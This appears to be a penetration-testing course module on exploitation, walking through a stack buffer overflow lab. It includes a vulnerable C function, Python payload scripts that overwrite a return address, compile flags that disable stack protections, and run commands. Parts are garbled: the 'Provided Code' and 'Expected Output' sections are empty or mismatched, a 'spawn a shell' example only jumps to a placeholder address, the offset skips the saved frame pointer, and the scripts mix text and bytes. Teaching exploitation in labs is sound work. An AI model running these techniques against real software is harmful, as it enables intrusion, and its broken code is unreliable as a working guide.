In this module, we will delve into the exploitation phase of penetration testing. Exploitation is the process of taking advantage of identified vulnerabilities to gain unauthorized access to systems, applications, or networks. This phase is crucial as it demonstrates the potential impact of vulnerabilities and helps in understanding the security posture of the target environment.

1. Exploitation Basics:

   • Definition: Exploitation involves leveraging vulnerabilities to execute arbitrary code, gain elevated privileges, or access sensitive data.
   • Objective: The main goal is to demonstrate the risk associated with the vulnerability by gaining some level of control over the target system.

2. Types of Exploits:

   • Remote Exploits: Attacks that can be executed from a remote location without physical access to the target system.
   • Local Exploits: Attacks that require local access to the target system to be executed.
   • Client-Side Exploits: Attacks that target client applications, such as web browsers or email clients, often through social engineering.

3. Exploit Development:

   • Understanding the vulnerability: Analyzing the root cause of the vulnerability.
   • Crafting the payload: Creating a payload that will be executed upon successful exploitation.
   • Testing the exploit: Ensuring the exploit works reliably and does not crash the target system.

A buffer overflow occurs when more data is written to a buffer than it can hold, potentially allowing an attacker to overwrite adjacent memory.

Step-by-Step Guide

1. Identify the Vulnerability:

   • Use a vulnerability scanner or manual analysis to identify a buffer overflow vulnerability in a target application.

2. Analyze the Vulnerability:

   • Determine the exact point of overflow and the impact on the application.
   • Example: A vulnerable function in a C program:

     void vulnerable_function(char *input) {
         char buffer[64];
         strcpy(buffer, input); // No bounds checking
     }
     

3. Craft the Exploit:

   • Create an input that overflows the buffer and overwrites the return address to point to our payload.
   • Example payload to spawn a shell:

     # Exploit script
     import struct
     
     buffer_size = 64
     overflow = "A" * buffer_size
     return_address = struct.pack("<I", 0xdeadbeef)  # Address to jump to
     payload = overflow + return_address
     
     print(payload)
     

4. Execute the Exploit:

   • Run the exploit against the target application to gain control.
   • Example command:

     ./vulnerable_program $(python exploit.py)
     

Objective:

Exploit a buffer overflow vulnerability in a provided C program to gain control of the execution flow.

Provided Code:

Steps:

1. Compile the provided C program.
2. Analyze the code to identify the buffer overflow vulnerability.
3. Craft an exploit to overwrite the return address and redirect execution to secret_function.
4. Execute the exploit and verify the output.

Solution:

1. Compile the Program:

   gcc -o vulnerable_program vulnerable_program.c -fno-stack-protector -z execstack
   

2. Analyze the Code:

   • The strcpy function does not check the length of the input, leading to a buffer overflow.

3. Craft the Exploit:

   • Calculate the offset to the return address.
   • Overwrite the return address with the address of secret_function.

   Example Python script:

   import struct
   
   buffer_size = 64
   overflow = "A" * buffer_size
   secret_function_address = struct.pack("<I", 0x080484b6)  # Replace with actual address
   payload = overflow + secret_function_address
   
   print(payload)
   

4. Execute the Exploit:

   ./vulnerable_program $(python exploit.py)
   

Expected Output:

• Incorrect Address Calculation: Ensure the address used in the exploit is correct and properly formatted.
• Buffer Size Miscalculation: Double-check the buffer size and the offset to the return address.
• Testing in a Controlled Environment: Always test exploits in a controlled and legal environment to avoid unintended consequences.

In this section, we covered the basics of exploitation, including the types of exploits and the process of developing an exploit. We also walked through a practical example of exploiting a buffer overflow vulnerability. Understanding these concepts is crucial for effectively demonstrating the impact of vulnerabilities during a penetration test. In the next sections, we will explore specific types of vulnerabilities and their exploitation in more detail.